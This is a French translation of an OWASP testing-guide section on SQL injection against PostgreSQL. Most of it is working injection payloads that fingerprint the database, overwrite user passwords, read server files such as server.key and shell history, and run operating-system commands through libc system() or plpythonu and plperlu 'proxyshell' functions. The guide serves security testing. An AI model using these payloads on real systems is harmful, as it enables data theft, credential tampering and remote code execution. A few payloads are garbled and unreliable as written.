4.8.5.4 Tester PostgreSQL (from OWASP BSP)

Sommaire
Dans cette section, nous allons présenter quelques techniques d'injection SQL pour PostgreSQL. Ces techniques ont les caractéristiques suivantes :


 * Le connecteur PHP permet l'exécution de requêtes multiples en utilisant le séparateur ;
 * Les requêtes peuvent être tronquées en ajoutant les caractères de commentaire : --
 * LIMIT et OFFSET peuvent être utilisés dans des requêtes SELECT pour récupérer une portion du résultat renvoyé par une requête

A parti de maintenant, nous allons considérer que  http://www.example.com/news.php?id=1  est vulnérable aux attaques par injection SQL.

Identifier PostgreSQL
Quand une injection SQL a été trouvée, il faut identifier soigneusement le moteur de base de données sous-jacent. On peut le déterminer en utilisant l'opérateur de conversion ::.

Exemples: http://www.example.com/store.php?id=1 AND 1::int=1

De plus la fonction version peut être utilisée pour récupérer la bannière de PostgreSQL. Cela indiquera le système d'exploitation et la version.

Exemple:

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version,NULL LIMIT 1 OFFSET 1--

Un exemple de bannière ainsi retournée : PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Injection en aveugle
Pour les attaques par injection SQL en aveugle, il faut prendre en considération les fonctions intégrées suivantes :


 * Longueur d'une chaîne
 * LENGTH(str)
 * Extraction d'une sous-chaîne d'une chaîne donnée
 * SUBSTR(str,index,offset)
 * Représentation d'une chaîne sans simples quotes
 * CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

A partir de la version 8.2, PostgreSQL a introduit la fonction intégrée pg_sleep(n), qui met le processus de session courant en attente pour n secondes. Cette fonction peut être utilisée pour exécuter des attaques temporelles (vues en détail dans la section Blind SQL Injection).

De plus, on peut facilement créer un équivalent personnalisé à pg_sleep(n) dans les versions précédentes en utilisant libc :
 * CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Déséchappement des simples quotes
Les chaînes peuvent être encodées pour prévenir l'échappement des simples quotes, en utilisant la fonction chr.


 * chr(n): Retourne le caractère dont la valeur ASCII correspond au nombre n.
 * ascii(n): Retourne la valeur ASCII correspondante au caractère n.

Imaginons que nous voulons encoder la chaîne 'root' : select ascii('r') 114  select ascii('o') 111  select ascii('t') 116

On peut donc encoder 'root' en : chr(114)||chr(111)||chr(111)||chr(116)

Exemple: http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Utilisateur courant
L'identité de l'utilisateur courant peut être récupérée avec les requêtes SQL suivantes :

SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername

Exemples: http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Base de données courante
La fonction intégrée current_database renvoie le nom de la base de données courante.

Exemple:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database,NULL,NULL--

Lire depuis un fichier
PostgreSQL fourni deux manières d'accéder à un fichier local :
 * L'instruction COPY
 * La fonction intégrée pg_read_file (depuis PostgreSQL 8.1)

COPY:

Cet opérateur copie les données d'un fichier et d'une table. Le moteur PostgreSQL accède au système de fichiers local sous l'utilisateur postgres.

Exemple:

/store.php?id=1; CREATE TABLE file_store(id serial, data text)-- /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Les données doivent être récupérées en procédant à une injection par UNION UNION Query SQL Injection :
 * Récupération du nombre d'enregistrements ajoutés précédemment dans file_store avec l'instruction COPY
 * Récupération d'un enregistrement à la fois avec l'injection SQL par UNION.

Exemple: /store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file:

Cette fonction a été introduite dans PostgreSQL 8.1 et permet de lire des fichiers quelconques dans le répertoire du SGBD.

Exemples:


 * SELECT pg_read_file('server.key',0,1000);

Ecrire dans un fichier
En inversant l'instruction COPY, on peut écrire dans une fichier local avec les droits de l'utilisateur postgres

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Injection de shell
PostgreSQL fourni un mécanisme pour ajouter des fonctions personnalisées utilisant à la fois des bibliothèques dynamiques et des langages de script comme Python, Perl, et TCL.

Bibliothèque dynamique
Justqu'à PostgreSQL 8.1 il était possible d'ajouter une fonction personnalisée liée à libc :
 * CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Depuis, system retourne un int, comme alors récupérer les résultats de la sortie standard de system ?

Voici une solution :


 * Créer une table stdout
 * CREATE TABLE stdout(id serial, system_out text)
 * Exécuter la commande shell en redirigeant sa sortie stdout
 * SELECT system('uname -a > /tmp/test')
 * Utiliser une instruction COPY pour envoyer la sortie de la commande précédente dans la table stdout
 * COPY stdout(system_out) FROM '/tmp/test'
 * Récupérer les données de la table stdout
 * SELECT system_out FROM stdout

 Exemple:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython
PL/Python permet aux utilisateurs de développer des fonctions PostgreSQL en Python. C'est un langage sûr ('trusted') donc il n'y a aucun moyen de restreindre ce que l'utilisateur peut faire avec. Il n'est pas installé par défaut et peut être éctivé sur une base donnée avec CREATELANG


 * Vérifier que PL/Python a été activé sur la base :
 * ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
 * Si ce n'est pas le cas, essayer de l'activer :
 * CREATE LANGUAGE plpythonu
 * Si aucune des requêetes précédentes ne réussi, créer une fonction proxyshell :
 * CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read 'LANGUAGE plpythonu
 * Et jouer avec :
 * SELECT proxyshell(os command);

Exemple:

return os.popen(args[0]).read’ LANGUAGE plpythonu;-- ''
 * Créer une fonction proxy shell :
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;


 * Lancer une commande système :
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

plperl
Plperl permet de développer des fonctions PostgreSQL en perl. Normalement, il est installé comme un langage de confiance ('trusted') afin de désactiver l'exécution d'opérations qui interagissent avec le système d'exploitation sous-jacent, telles que open. Ainsi il est impossible d'obtenir un accès au niveau du système d'exploitation. Pour injecter une fonction comme proxyshell, il faut installer la version non sûr ('unstrusted') sous l'utilisateur postgres, pour éviter le filtrage par masque applicatif des opérations trusted/untrusted.


 * Vérifier si Pl/Perl-untrusted a été activé :
 * ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
 * Si ce n'est pas le cas, en considérant qu'un administrateur système a déjà installé le paquetage plperl, essayer :
 * CREATE LANGUAGE plperlu
 * Si rien de ceci ne fonctionne, créer une fonction proxy shell :
 * CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu
 * Et jouer avec :
 * SELECT proxyshell(os command);

Exemple:


 * Créer une fonction proxy shell :
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;


 * Lancer une commande système :
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

Références

 * OWASP : "Testing for SQL Injection"


 * OWASP : SQL Injection Prevention Cheat Sheet


 * PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/


 * Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net